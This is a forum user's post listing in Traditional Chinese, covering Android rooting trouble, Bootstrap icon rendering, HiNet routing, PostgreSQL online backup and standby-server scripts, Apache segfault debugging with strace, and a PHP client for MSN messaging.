顯示文章

這裡允許您檢視這個會員的所有文章。請注意, 您只能看見您有權限閱讀的文章。


主題 - twu2

頁: [1] 2 3 4
1
Linux 討論版 / 奇怪的檔案系統?
« 於: 2014-02-26 13:46 »
先說這是 Android 的問題, 不過底層是 linux, 應該可以扯到一點關係吧.

就目前 android 或 linux 的安全設計來看, 有沒有可能在不同的 user 空間, 所建立的檔案會讓不同的使用者空間的使用者不能讀寫或執行? 如果有, 這是什麼機制?

案例:
機器: Acer A1-810/811 (未 root)
使用 FramaRoot 1.9.1 的版本配合 custom script 來 root (透過自訂的 script 來把 su 放到 /system/bin/ 下面)
經由該 script 的 log 來看, id 看出 user 變成 root (不過 group 還不是), 透過 busybox 的 mount 指令, 也可以把 /system remount 為可讀寫, 然後把 su 放到 /system/bin 下面, 也可以改 owner/group 與檔案屬性....

不過, 這時, 本身 Android GUI 上面的使用者, 在檔案列表上面可以看到 su 這個檔案, 但是讀取會說找不到檔案, 執行也是找不到檔案... 透過 adb shell 去看, ls 看的到, 讀或執行都是找不到檔案.

如果再做一次, 會發現該目錄同樣的檔名 /system/bin/su 會出現兩個 (因為每次跑 FramaRoot 在取得 root 身份之前的 user id 是不一樣的)...

這是檔案系統的特殊功能? 還是 kernel 上面有什麼安全機制可以做到這種現象?

2
網頁技術 / glyphicons 在 firefox 顯示的問題?
« 於: 2014-01-23 14:53 »
最近因為工作需要, 開始寫些 web 的程式, 因為個人美工能力不足, 就直接用了 bootstrap 來處理...
結果發現使用 glyphicons 時, 在 Firefox 會無法正常顯示, 在 IE/Chrome 就正常... (如附件)

有人知道為什麼嗎? Google 查了一下, 有提到 cross site 造成的 (但是我是抓下來用放同一個網站, 不是直接使用官方的連結)... 有提到是 bootstrap 的 bug (不過.... 附件是我直接連到 http://glyphicons.com/ 的結果.... 總不會連官方自己的網站都寫錯).....

也試過用 firefox safe mode 執行, 結果一樣, 應該與 extension 無關.

3
Study-Area 公開討論版 / 論壇搬家後的問題?
« 於: 2011-03-25 16:49 »
1. 前幾天應該有調整字體大小吧? 不過看文章或進入分區時, 右上方的選單 (與右下方相同的那個選單, 如發表主題, 列印等等) 似乎沒調整到, 還是小小的.
2. 這不知道是不是只有我碰到, 不過我在沒搬家之前好像沒碰過. 就是最上頭有個 "顯示上次光臨之後的新主題" 的功能, 有掉文章的情形, 我發現常有文章沒出現在這功能, 如果把
http://www.study-area.org/phorum/index.php?action=unread
改成
http://www.study-area.org/phorum/index.php?action=unread;all
則那些文章就會出現 (而且是我真的沒看過的). 可是我應該每次連到這兒都會做這動作, 並把那些文章弄成已讀, 這樣子對我來說, 這兩個結果應該會一樣才對.

4
以前好像隔很久才會看到有帳號發一堆廣告文. 最近一天都會有好幾個.
是註冊的條件放寬了? 還是這些 bot 進化了?

5
Study-Area 公開討論版 / SAMC 集中討論區
« 於: 2010-01-06 10:43 »
samc 發的信沒有 subject?

6
肉腳版 / 適合班級網站的軟體?
« 於: 2009-12-16 15:43 »
我的老闆最近 EMBA 要畢業了, 想弄個小網站來當做班級同學聯絡用, 所以小小肉腳我就來問個肉腳的問題...

請問一下有沒有適合用來當做是班級網站的軟體?
可能需要下列的功能:
1. 討論區
2. 對所有同學發 email/SMS (會找家這類的公司, 利用他們的 API 來處理).
3. 只對某些同學發 email/SMS.
4. 簡單的相片功能
5. 簡單的個人資料維護
...

有沒有現成類似的軟體可以用或拿來改呢?

7
工作機會 / 社區網路設備檢修
« 於: 2009-10-09 08:36 »
最近我住的社區總幹事一直找我修一下我們社區的網路, 看起來也許是那一堆 cisco 的 switch 壞了吧, 通常是把線拔來拔去, 換到另一個可以用的 port 就可以了.
不過好像愈來愈多 port 不能用了...

有人有興趣接嗎?

地點在中和, 靠近景安站, 戶數不到 90.

8
I'm really sorry for this, if it's uncomfortable for you, let me know.

註冊的機制好像被 bot 攻入了, 最近這類的信變多了.

9
Computer 討論版 / FAAC Codec 用 MPC 無法撥放?
« 於: 2008-08-04 15:03 »
有人用過在 linux 上頭使用 mencoder 用 FAAC 壓出來的影像檔, 在 Windows 底下用 Media Player Classic 撥放嗎?
我試的結果都是不認得該 codec, 沒有聲音. (試過抓 MPlayer 的 win32 版本, 是可以正常撥放的)

我有裝 K-Lite, 裡頭有 CoreAAC, 這東西應該有用 libfaad, 照說可以解 faac 壓的東西才對吧?

還是有其他的 codec 可以用?

10
http://it.slashdot.org/article.pl?no_d2=1&sid=08/02/10/2011257
這個問題被公開約一個月了, 如果你的 linux kernel 是用 2.6.17 到 2.6.24.1 之間的任何版本, 請更新你的 kernel 吧.

任何可以登入你的系統的使用者, 如果有權限可以使用 gcc, 且有可以執行所產生的執行檔的權限, 馬上就能取得 root 的權限了.

所以... 最好不要信任任何一位可以登入你的主機的使用者吧.
如果可能, 儘量讓使用者可以寫入的地方越少越好, 而且可以寫入的地方, 使用 noexec 去 mount, 不要讓人家所產生的執行檔可以執行.
這樣子應該可以避開許多類似的 local root exploit 的問題.

11
雜七雜八 / 奇怪的 hinet 路由
« 於: 2007-12-06 10:26 »
這兩天由公司連回家裡的伺服器, 發現 3 個 ip 有 2 個不通..  traceroute 一下發現:

可以通的:
代碼: [選擇]
Tracing route to teatime.teatime.com.tw [220.130.11.145]
over a maximum of 30 hops:

  1    27 ms    41 ms    21 ms  10.100.1.1
  2    47 ms    18 ms    50 ms  10.110.1.3
  3    56 ms    62 ms    64 ms  203.177.140.177
  4   621 ms   652 ms   190 ms  203.177.137.185
  5    40 ms    28 ms    65 ms  203.177.59.5
  6   302 ms   341 ms   419 ms  203.177.31.37
  7   417 ms   403 ms   333 ms  203.177.93.106
  8   108 ms    96 ms   147 ms  global.hgc.com.hk [218.189.8.181]
  9   258 ms   275 ms   292 ms  global.hgc.com.hk [218.189.8.170]
 10   497 ms   524 ms     *     tp-s2-c12r36.router.hinet.net [211.22.33.170]
 11   196 ms   219 ms   234 ms  tp-jpr2.router.hinet.net [210.65.255.76]
 12   460 ms   448 ms   448 ms  tp-c12r5.router.hinet.net [211.75.91.190]
 13   414 ms   488 ms   308 ms  tp-crs11.router.hinet.net [220.128.2.230]
 14   297 ms   231 ms   365 ms  tp-s2-c76r5.router.hinet.net [220.128.2.229]
 15   672 ms   731 ms   620 ms  h193.s80.ts.hinet.net [168.95.80.193]
 16   201 ms   166 ms   162 ms  teatime.teatime.com.tw [220.130.11.145]

Trace complete.

不能通的:
代碼: [選擇]
Tracing route to fw.teatime.com.tw [220.130.11.143]
over a maximum of 30 hops:

  1    17 ms    23 ms    17 ms  10.100.1.1
  2    18 ms    17 ms    21 ms  10.110.1.5
  3    22 ms    21 ms    26 ms  121.97.80.97.bti.net.ph [121.97.80.97]
  4    29 ms    29 ms    19 ms  121.97.85.13.bti.net.ph [121.97.85.13]
  5     8 ms    18 ms    23 ms  ge-6-2-rsvt-bb-gw-1.bti.net.ph [202.78.97.198]
  6   114 ms   100 ms   110 ms  p1-1-2-2.a10.tokyjp01.jp.ra.gin.ntt.net [61.213.145.253]
  7    98 ms   100 ms   101 ms  61.120.147.221
  8   110 ms   111 ms   114 ms  xe-2-1-0.r20.tokyjp01.jp.bb.gin.ntt.net [61.213.162.101]
  9   219 ms   187 ms   194 ms  as-1.r20.snjsca04.us.bb.gin.ntt.net [129.250.2.34]
 10   209 ms   224 ms   211 ms  ae-1.r21.plalca01.us.bb.gin.ntt.net [129.250.5.32]
 11   212 ms   220 ms   218 ms  0.so-0-2-0.br1.scl2.alter.net [204.255.169.173]
 12   215 ms   219 ms   214 ms  0.so-0-2-0.xt1.scl2.alter.net [152.63.49.2]
 13   213 ms   214 ms   222 ms  0.so-7-0-0.xl1.pao1.alter.net [152.63.54.133]
 14   194 ms   210 ms   224 ms  0.so-5-0-0.ig4.pao1.alter.net [152.63.50.1]
 15   214 ms   214 ms   232 ms  chungwha-gw.customer.alter.net [63.65.130.118]
 16   212 ms   212 ms   219 ms  pa-c12r11.usa-paix.router.hinet.net [202.39.83.189]
 17   355 ms   344 ms   355 ms  tp-s2-c12r31b.router.hinet.net [211.72.108.182]
 18     *        *        *     Request timed out.
 19     *        *        *     Request timed out.
 20     *        *        *     Request timed out.
 21     *        *        *     Request timed out.
 22     *        *        *     Request timed out.
 23     *        *        *     Request timed out.
 24     *        *        *     Request timed out.
 25     *        *        *     Request timed out.
 26     *        *        *     Request timed out.
 27     *        *        *     Request timed out.
 28     *        *        *     Request timed out.
 29     *        *        *     Request timed out.
 30     *        *        *     Request timed out.

Trace complete.

只要經過 tp-s2-c12r31b.router.hinet.net [211.72.108.182] 就不通, 經過的是 tp-s2-c12r36.router.hinet.net [211.22.33.170] 就可以.
這應該是 hinet 那邊的設定有問題吧?

還好公司的有好幾條線可以用, 先請 MIS 改一下 router 上的設定, 先走可以通的那個 ISP 的線路.

在 Hinet 專線客戶服務系統中, 寫了一封信反應, 不知道要處理多久才會解決這個問題. :-(

12
Study-Area 公開討論版 / 刪除區?
« 於: 2007-11-30 20:32 »
刪除的文章好像會自動跑到刪除區中, 不過這區... 我用訪客身份是看不到的, 不知道一般的使用者能看到嗎?
如果不行看到, 要怎麼提出異議呢?

13
database 討論版 / PostgreSQL Standby Server
« 於: 2007-08-12 11:15 »
本文轉自 http://blog.teatime.com.tw/1/post/258

隨著資料量的增加, 通常資料庫的重要性也就跟著增加, 這時, 我們要如何確保資料庫可以正常運作呢? 使用比較好的機器? 使用高級的 RAID? 把資料備份好? 這些做的再好, 也都還是有風險. 也就是, 只要是硬體, 就可能會壞. 機器就是那一台, 出了問題, 就得找台機器, 重新開始安裝, 然後由備份的資料還原. 資料一多, 這些動作可以短到幾小時, 也可能是兩三天才能處理好. 也就是, 在這段時間內, 如果你的公司運作, 對資料庫有極大的依賴性, 可能這段時間的運作完全停擺, 損失不可說不小.

一般的資料庫系統, 為了避免這樣的情形發生, 除了應有的備份動作外, 通常也會複製的機制, 可以讓交易存到別的機器上頭, 只要有需要, 可以很快的切換到另外一台有相同資料的機器上頭.

PostgreSQL, 依據這幾年使用的經驗來看, "複製" (replication) 這件事情, 實在是做的不怎麼樣. 以往多數的方式, 都是利用 trigger 的方式來處理, 但是, 這樣的做法, 就我來看, 只能做到已存在 table 內資料的複製, 如果有新的 table, 或 schema 有變動, 都可能導致複製的結果出了問題, 等真的要用那些資料時, 會不會和原本的資料之間有了出入呢?

上一篇文章中說過, 雖然 7.x 的 PostgreSQL 有 WAL 的功能, 不過只能拿來本身 process crash 時做 recovery 使用. 而在 8.0 之後, 終於可以做到 online backup, 也就是我們可以弄出一份基本的備份, 加上後續的 WAL 交易檔, 就可以還原出原本的資料庫. 換個方向來看, 這不也是一種 replication? 而且,  不再是依賴 trigger 來處理了, 而是完完整整資料庫的複製了. 不管你對資料庫做了什麼動作, 都會在 WAL 交易檔中, 都可以在 recovery 時重新把這些動作再做一次. 只要我們把存好這個備份與之後的 WAL 交易檔, 就表示我們可以複製出一個完整的資料庫了.

在前面提到, 如果我們要讓資料庫出問題停擺的時間變短. 只要我們能事先準備一台機器, 把上頭的備份放到該機器上頭. 如果原本的機器出問題時, 我們只要把這些 WAL 交易檔都 recovery 一次, 就可以切換到這台備份的主機. 這也就是一般 standby server 的概念.

所以, 既然 PostgreSQL 在 8.0 之後, 可以利用 backup 與 WAL 來複製原本的資料庫了, 是否也表示可以做出 standby server 了呢?  只要我們還原時的 recovery.conf 中的 restore_command 中, 把原本簡單的 cp 指令, 寫成一個可以等待的 script, 等收到下一個 WAL 檔案時, 再做 cp 的動作. 這樣子, 這個還原動作就不會結束, 這樣子, 看起來就成了一個 standby server 了.

不過, 在 8.2 發表之前, 上頭的概念在沒問題時是可以運作的, 不過... 如果我們那台機器有需要關機時, 會發現在 restore_command 被強迫結束時,  PostgreSQL 會認為沒有新的  WAL 了 , 就結束 recovery 的動作, 然後把資料庫變成一個正常的資料庫了, 之後就再也不能匯入新的 WAL 檔案了.

這個問題在 8.2 中獲得的解決. 只要 restore_command 的結束, 是經由 signal 觸發來結束的, 或傳回值大於 125 時, 就會把 recovery 的動作中斷並結束程式, 而不會把資料庫的狀態改變. 下一次執行時, 仍然是在 recovery 的狀態, 也可以接受後續的 WAL 檔案. 這也就表示在 PostgreSQL 8.2 中, 我們就可以做到完整的 standby server 的功能了.

參考 8.2 中有關 standby server 的說明, 先弄出一個備份出來, 然後把 WAL 存到某個路徑中, 這時, 在 standby 的機器上把該備份放上去, 做出一個 recovery.conf, 上頭的 restore_command 改成一個可以等待的 script, 然後利用別的方法 (mount? rsync? ftp?), 把之後產生的 WAL 檔案複製過來使用. 這樣子, 就變成一個 standby server 了.

這個 script, 我們是用 php 寫了一個簡單的版本 pgstandby.php:
代碼: [選擇]
#!/usr/bin/php -Cq
<?php
 
$trigger_filename 
'standby.stop';
$sleep_time 5;
 
$argc $_SERVER['argc'&#93;;
$argv $_SERVER['argv'&#93;;
 
if &#40;$argc != 3&#41; &#123;
writelog&#40;"Syntax ".$argv[0&#93;." sourcefile targetfile"&#41;;
// we need to use exit code > 125, to tell postgresql just exit, don't change the role to normal server
exit&#40;127&#41;;
&#125;
 
$source $argv[1&#93;;
$target $argv[2&#93;;
$filename basename&#40;$source&#41;;
 
if &#40;strpos&#40;$filename, '.history'&#41; !== false&#41; &#123;
// ignore file *.history
if &#40;!file_exists&#40;$source&#41;&#41; &#123;
writelog&#40;"skip non-exists $source"&#41;;
exit&#40;0&#41;;
&#125;
&#125;
else &#123;
$trigger_file dirname&#40;$source&#41;.'/'.$trigger_filename;
// we should wait until the WAL generated
if &#40;!file_exists&#40;$source&#41;&#41; &#123;
writelog&#40;"waiting for $source"&#41;;
while &#40;1&#41; &#123;
clearstatcache&#40;&#41;;
if &#40;file_exists&#40;$source&#41;&#41; break;
// wait for 5 seconds...
if &#40;file_exists&#40;$trigger_file&#41;&#41; &#123;
writelog&#40;"stop standby, change the role to normal server"&#41;;
// return non-zero if we want to change standby to normal server
exit&#40;1&#41;;
&#125;
sleep&#40;$sleep_time&#41;;
//exit&#40;127&#41;;
&#125;
&#125;
&#125;
 
writelog&#40;"copy $source to $target"&#41;;
@unlink&#40;$target&#41;;
copy&#40;$source, $target&#41;;
// return 0, we have new WAL here...
exit&#40;0&#41;;
 
function writelog&#40;$buf&#41;
&#123;
echo $buf."\n";
$fp fopen&#40;'/var/log/postgresql/pgstandby-'.strftime&#40;'%Y%m%d'&#41;.'.log', 'at'&#41;;
if &#40;$fp&#41; &#123;
fputs&#40;$fp, strftime&#40;'%D %T ['&#41;.posix_getpid&#40;&#41;.'&#93; '.$buf."\n"&#41;;
fclose&#40;$fp&#41;;
&#125;
return;
&
#125;
 
?>

只要把 restore_command 改成 'pgstandby.php /db/pgarchive/archivelog/%f %p', 就可以做到 standby 的功能了.

要注意的是,  在 replay 某個  WAL 交易檔之後, 並不能馬上刪除, 因為如果中斷 recovery 的動作時, 通常下一次做 recovery 時, 會回溯之前好幾個 WAL 檔, 把以建議這些 WAL 檔案要保留一段時間後再刪除.

當然, 你也可以不用上頭的 script, 自己寫一個類似的 bash script 也是可以. 或者, 可以到官方的網站, 抓目前 8.3 開發版本中  contrib 裡頭的 pg_standby 程式回來用.

這樣子, 我們就完成了一個 PostgreSQL 的 standby server 了.

目前, PostgreSQL 的 standby server 就只是單純的 standby, 但是在官方的 todo list 中, 是有一個把 standby server 加上可以做 readonly query 的功能, 不過.... 也不知道多久才會加上這個功能. 因為在該 todo list 中, 有另一個我想要的功能 pg_upgrade (可以讓升級不再是使用  pg_dump 來處理, 直接由 binary file 升級), 好像由 2004 年到現在, 也沒什麼進展.

14
database 討論版 / PostgreSQL 線上備份
« 於: 2007-08-11 15:36 »
本文轉自 http://blog.teatime.com.tw/1/post/257

我們大約是由 2003 年初開始使用 PostgreSQL 當做是公司內的資料庫系統. 當初在 ORACLE (9i), MySQL (3.x) 與 PostgreSQL (7.2) 之間選擇時, 先把當時還算很簡陋的 MySQL (那時應該還沒有支援 stored procedure, sub-query, transaction 等等的功能, 實在不適合商業使用,  不過因為快又小, 我們有些中介的資料庫, 還是使用 MySQL 來處理) 給排除掉. 在 ORACLE 與 PostgreSQL 的比較上, 在我們需要的功能上頭, 兩者都能提供, 當然, PostgreSQL 有絕對的價格優勢 (不過, 當初我們並沒有預算上的壓力, 雖然 ORALCE 不算便宜, 但我們決定要用時, 也不會說花不起這筆錢), 但是在複製, 備份與災難復原方面, 就遠遠比不上 ORACLE 了. 最後與老闆討論的結果, 是決定先用 PostgreSQL 試看看, 如果一年內有發生重大的當機或災難時, 我們就轉用 ORACLE. 結果... 當然 4 年多過去了... 我們還是在用 PostgreSQL.

在這段期間, 我們對於 PostgreSQL 的備份, 就只能使用  SQL dump (pg_dump) 的方式來處理, 也就是每天我們會把資料庫 dump 下來, 存在  RAID 上頭保留一個月, 然後每天會把這些備份 tar 到磁帶櫃裡頭的不同磁帶, 也就是至少可以有七天的磁帶來循環使用. 這樣子的方式, 可以確保我們在發生問題時, 應該最差只會損失一天的交易資料 (當然, 有些公司一天的交易資料算很嚴重的事, 不過我們對於收入有關的資料, 是由交換機上產生的資料再匯入的, 如果真的發生問題, 還是可以做重新匯入的動作, 真的發生問題時, 還不至於造成收入上的損害). 四年多下來, 還沒碰過需要還原的時候.

雖然 PostgreSQL 7.x 的版本, 就有了 WAL (Write-Ahead Logging) 的功能, 可以把交易記錄存下來, 不過, 對於備份與還原來說, 一點幫助也沒有, 仍然只有 SQL dump 的方式可以處理. 在 2005 年初的時候, PostgreSQL  8.0 發表了, 除了支援 windows 外, 利用 WAL 這個功能, 終於有了除了 SQL dump 之外的備份方式了. 而且是 on-line 的備份方式. 也就是我們可以線上做一份基本的備份, 然後把之後的 WAL 交易記錄檔也存起來, 就可以還原到你保存的最後一個 WAL 交易檔的時間點. 在這之後, 備份與還原, 就不是一件困難的事情了. 與一般市售的資料庫比較起來, 一點也不遜色. 原本用 SQL dump 的方式, 雖然備份的時間算快, 但是還原的時間, 當資料一多時, 就要花很多的時間了, 且... 就只能還原到備份的那個時間點. 現在... 利用這個新的備份方式, 還原的時間就可以大幅的縮減, 也可以儘可能的還原到出問題前的那個時間點.

參考 8.0 有關 PITR (point-in-time recovery) 的說明, 很容易就可以使用這樣的備份方式.

首先, 在你的 postgresql.conf 設定中, 設定 archive_command 這個參數, 如:
代碼: [選擇]
archive_command='cp -i %p /backup/archivelog/%f < /dev/null'

這樣子, PostgreSQL 就會在產生 WAL 之後, 利用這個指令, 把檔案 copy 到 /backup/archivelog/ 這個目錄中.

在有了 WAL 的 archive 之後, 我們可以在 psql 中, 使用這個指令告訴 PostgreSQL 我們要開始一個備份:
代碼: [選擇]
SELECT pg_start_backup('label');

在這個指令之後, 我們就可以利用 tar 或 cpio 之類的軟體, 把 PostgreSQL 的 data 目錄備份下來 (tar 可能因為在備份的時後, 檔案有更動產生錯誤訊息, 可以忽略).  在把檔案備份之後, 再用 psql 執行下面這個指令, 告訴 PostgreSQL 我們結束備份了:
代碼: [選擇]
SELECT pg_stop_backup();

在這個指令後, 再把備份的檔案, 以及備份這段時間在 pg_xlog 產生的 WAL 交易檔案保存起來, 再把之後的 WAL 交易檔也都存下來. 在發生問題時, 就可以利用這些備份的資料與 WAL 交易檔, 來還原整個資料庫了.

上頭的備份動作, 我們可以整合一下, 寫成一個 script 來跑:
代碼: [選擇]
#!/bin/sh
 
if [ "$1" == "" ]; then
$0 backupname
exit 1
fi
 
psql << START_BACKUP_END
select pg_start_backup('$1');
\q
START_BACKUP_END
 
find . -print | cpio -o -H crc | gzip -v > /backup/base/$1.cpio.gz
 
psql << STOP_BACKUP_END
select pg_stop_backup();
\q
STOP_BACKUP_END

利用上頭的 script, 我們只要讓 PostgreSQL 的使用者, 執行這個指令, 加上日期當參數, 就可以產生一個以該日期參數為檔名的基本備份檔了.

有了上頭的備份資料後, 要怎麼還原呢?

首先, 先安裝出一個有 PostgreSQL 的環境, 然後把上頭 tar 或 cpio 得到的基本備份檔案, 還原到 PostgreSQL 的 data 目錄中.  如果你用上頭的 script 備份, 可以用到下頭的指令還原:
代碼: [選擇]
#!/bin/sh
 
cat /backup/base/20070810.cpio.gz | gzip -cd | cpio -idvm

還原之後, 把 pg_xlog 的目錄內的檔案清除掉. 然後做一個 recovery.conf 的設定檔如下:
代碼: [選擇]
restore_command = 'cp /backup/archivelog/%f "%p"'

把這個檔案放在 PostgreSQL 的目錄中, 然後把在上一個基本備份之後的 WAL 交易檔放到 /backup/archivelog/ 目錄中. 接著只要啟動 PostgreSQL, 就會進入到  recovery 的模式, 會把這些 WAL 交易記錄執行一次, 直到最後一個交易記錄檔為止, 接著 PostgreSQL 會把 recovery.conf 改名為 recovery.done, 然後把正常的資料庫帶起來. 這樣子, 你就可以還原出你的資料庫了.

在 recovery.conf 上頭, 還可以利用其它的參數, 讓 recovery 的動作做到某個時間點或某個交易為止, 可以防止某些不正常的交易被再執行到. 如果沒有設定, 就是做到沒有下一個 WAL 交易檔為止. 如有需要, 請自行參考官方的文件有關這部份的參數設定.

PS:

    * 在 8.2 版之後, 如果你把 full_page_writes 設為 off, 來增加效能的話, 在備份期間, 效能與平時有明顯的差異.
    * 在 Debian 的 PostgreSQL 版本中, 如果你的 recovery.conf 放在 data 的目錄下沒有作用時, 請在 /etc/postgresql/8.2/main 下頭同樣放上一份 recovery.conf (不過, 在執行 recovery 時, 並不是讀取這個檔案裡頭的設定值?), 在我之前的測試中, 似乎這樣子才會在一開始進入 recovery 的模式去還原之後的 WAL 交易檔.

15
本文轉自 http://blog.teatime.com.tw/1/post/232

這幾天發現家裡的 apache 每隔幾分鐘就產生一次類似下面的訊息:
代碼: [選擇]
[Wed Apr 25 21:13:54 2007] [notice] child pid 3204604 exit signal Segmentation fault (11)
不過.... 同一個時間, 有一堆 request 在存取 apache (好像多數都是 bot...), 到底是那個地方造成的呢?

為了找出原因, 終於想到利用 strace 這個指令, 來針對每一個 apache 的 process 來追蹤看看. 所以寫了下面的 script 來用:
代碼: [選擇]
#!/bin/sh
 
while [ "1" == "1" ]; do
APACHE_LIST=`ps -ef | grep apache | grep ^www | awk '{ print $2; }'`
for i in $APACHE_LIST; do
if [ ! -e $i.log ]; then
echo "strace $i"
strace -p $i 2> $i.log &
fi
done
echo "wait"
sleep 60s
done

在執行 apache 之後, 就執行上頭的 script, 這個 script 把 strace 每一個 apache 的程式, 由於 apache 的每一個程式, 在執行一段時間後, 會結束舊的程式並產生一個新的程式, 所以上頭的 script 會每隔一分鐘檢查一次目前所有的 apache 程式, 如果沒有相關的記錄, 就表示是新產生的, 就再 strace 一次.

另外, 上頭抓取 apache 程式的作法, 是在 Debian Etch 下頭使用, 如果你的系統 apache 程式與執行者不一樣的話, 請自行修改上頭的內容才能正常使用.

接著, 我們就等著發生 Segmentation fault 時, 再來查看該 PID 的內容. 應該可以在檔案最後看到類似下面的內容:
代碼: [選擇]
setsockopt(42, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
rt_sigaction(SIGSEGV, {0x43ab80, [SEGV], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, {0x2b5951de9ca0, [SEGV], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, 8) = 0
rt_sigaction(SIGFPE, {SIG_DFL}, {0x2b5951de9ca0, [FPE], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, 8) = 0
rt_sigaction(SIGBUS, {0x43ab80, [BUS], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, {0x2b5951de9ca0, [BUS], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, 8) = 0
rt_sigaction(SIGILL, {0x43ab80, [ILL], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, {0x2b5951de9ca0, [ILL], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, 8) = 0
rt_sigaction(SIGABRT, {0x43ab80, [ABRT], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, {0x2b5951de9ca0, [ABRT], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, 8) = 0
fstat(2, {st_mode=S_IFREG|0640, st_size=2396024, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2b5959ea1000
kill(3204604, SIGSEGV)                  = 0
rt_sigreturn(0x30e5fc)                  = 12
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
chdir("/etc/apache2")                   = 0
rt_sigaction(SIGSEGV, {SIG_DFL}, {0x43ab80, [SEGV], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, 8) = 0
kill(3204604, SIGSEGV)                  = 0
rt_sigreturn(0x30e5fc)                  = 12
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
Process 3204604 detached

然後再往前找找, 應該可以找到最後發生錯誤之前讀取的網頁,  再來查看實際發生的原因吧.  這樣子至少可以得知到底是在那個程式發生了問題.

在我的系統上頭, 發現問題是出現在幾個星期前安裝的一個 LifeType 1.2 的測試環境, 用來測試 \ 會消失的問題, 裡頭不知道怎麼回事, 在一堆 bot 的存取下, 會發生這個問題. 把這個網址的內容移除後, 原本平均每五分鐘就會發生一次 Segmentation fault 的情形, 在跑了一整天後, 都沒有再出現了.

16
轉自: http://blog.teatime.com.tw/1/post/219

前一陣子寫了一個 msn.class.php, 所以研究了一下 MSN 所使用的通訊協定, 主要的資訊, 當然都來自於這個網站上頭. 不過... 上頭對於 MSNP15 的說明有點不太詳細, 有些在 MSNP13 之後所使用的 SOAP 功能, 在我自己的實作上頭, 並不如網站所說的那麼順利, 有些指令怎麼送就是不會成功. 後來, 看到該網站提到的 oSpy 這個軟體, 就抓回來自己試了一下, 結果, 效果實在驚人.以 oSpy 網站上頭的一個 demo 來看, 在下載 oSpy 之後, 解開壓縮檔, 執行 oSpy.exe 之後, 選擇 Capture 選單的 Inject agent... 功能, 然後選擇你要監看的執行程式 (例如: msnmsgr), 點選 Inject, 等 oSpy 成功監看這個程式之後. 再選擇 Capture 選單中的 Start 功能. 就會出現一個統計視窗. 這時, 你可以開始操作你監看的軟體, 上頭的數字就會一直增加. 等你的操作到一段落之後, 就可以選擇 Stop 來中斷 oSpy 的監看動作. 這時, oSpy 就會把剛剛所有運作的過程列出. 我們可以把這個過程存起來, 方便以後慢慢查看.

利用 oSpy, 可以很容易的把這種未公開協定的程式, 研究的很清楚. 透過 oSpy 之後, 把原本在我的 msn.class.php 上頭不能正常運作的功能, 很容易就改成可以正常運作了.

我想, 每個在 Windows 的程式開發人員, 應該都要裝一套 oSpy 起來玩看看, 你一定不會失望的.

17
酷!學園 精華區 / 使用 PHP 發送 MSN 訊息
« 於: 2007-03-11 19:00 »
最近有個自動發送 MSN 訊息的需求, 是在系統有異常時, 希望可以發送 MSN 訊息通知相關人員 (一般還是發 email, 只是, 多數人並不是隨時都在檢查並讀取 email, 並沒有 IM 的即時效果). 我記得在 Study Area 有看過類似的作法, 找到了這一篇文章 , 打算照著做就可以了, 可惜... 怎麼試都不成功.

首先, 裝了 tmsnc 這套軟體, 結果, 似乎是新版本介面改變, 所以不能使用. 就自己抓了舊的版本回來, 結果... 一樣不能使用. 我試著直接去跑 tmsnc, 是可以正確的登入到  MSN 中, 不過... 當我要傳訊息時, 馬上就跳出這個訊息:
代碼: [選擇]
Use an Unicode compitable terminal such as rxvt-unicode or uxterm. 接著就結束程式了. 問題是... 我是用 PieTTY 連線, 使用 UTF-8 編碼, 應該也算是 unicode 的 terminal 吧. 而且, 傳的訊息只是一些英文字, 怎麼不行呢? 試著把程式的這個地方改成忽略這個錯誤, 結果, 一樣無法正確的把訊息送出. 試了幾次, 就決定放棄這個軟體了. (奇怪, 怎麼別人用都沒問題?)

上網找了一下, 發現了這一個討論 MSN 協定的網站 (雖然好像很久沒更新? 討論區的資料也好像很舊?), 也找到了這個別人寫的 php MSN class, 抓回來自己用了一下, 果然, 在接收到別人傳入的訊息後, 可以把相同的訊息再傳回去.

因為並沒有直接傳送訊息的功能, 所以我就照著網站上頭的協定, 改了一下程式, 在登入之後, 就送出 XFR 指令取得一個新的 SwitchBoard 伺服器, 然後用一個新的連線到 SB 伺服器, 送出 USR 指令後.... 接著就被斷線了 (奇怪... 看別人寫的怎麼都正常?). 多試了幾次, 發現約 5 次會成功一次, 可是接著的 CAL 指令, 又會被斷線 (這個就完全沒成功過).

試了一下午, 找不出原因. 就打算看別人怎麼寫的. 抓了 qmsn (在 debian 中, 如果 session 不是用 /tmp, 會不能用, 不過... 我改掉這個問題後, 還是不能用?), amsn, gaim 等回來看... 沒什麼特別的啊. 怎麼大家都可以做到. 我的程式就做不到? 後來, 加上一堆除錯的訊息, 才發現我在 XFR 指令取得的 CKI 碼後頭, 還有換行字元存在, 所以我送出的指令, 等於多了一組換行字元, 就被伺服器給斷線了 (果然年紀大了, 寫程式的功力退步不少, 這種小問題, 居然花了快一天才發現). 改了之後, 就可以正確的發送訊息了.

原本打算這樣子就弄好了, 結果... 上線一跑, 如果對方有上線, 是可以正確的收到訊息. 但是如果對方沒有上線, 就完全收不到訊息了. 也就是離線訊息是無法正確使用的.

上網再找了一下, 發現了另一個討論 MSN 協定的網站, 這一個網站看起來有持續的更新中,  上頭還有新的 WLM 8.1 所用的 MSNP15 協定. 由於 MSNP13 開始有支援離線訊息. 所以就把我的程式就照 MSNP13 的內容來改. 也加上了 OIM 的支援. 不過, 怎麼試都不成功. 後來看到 MSNP15 中, 對於 OIM 的傳送方式有些更改, 想說會不會之前 MSNP13 的就不能用了呢 (我覺得可能是我那兒又寫錯了吧, 不然... 總不會之前的舊版 MSN 也不能發離線訊息了嗎?) ?

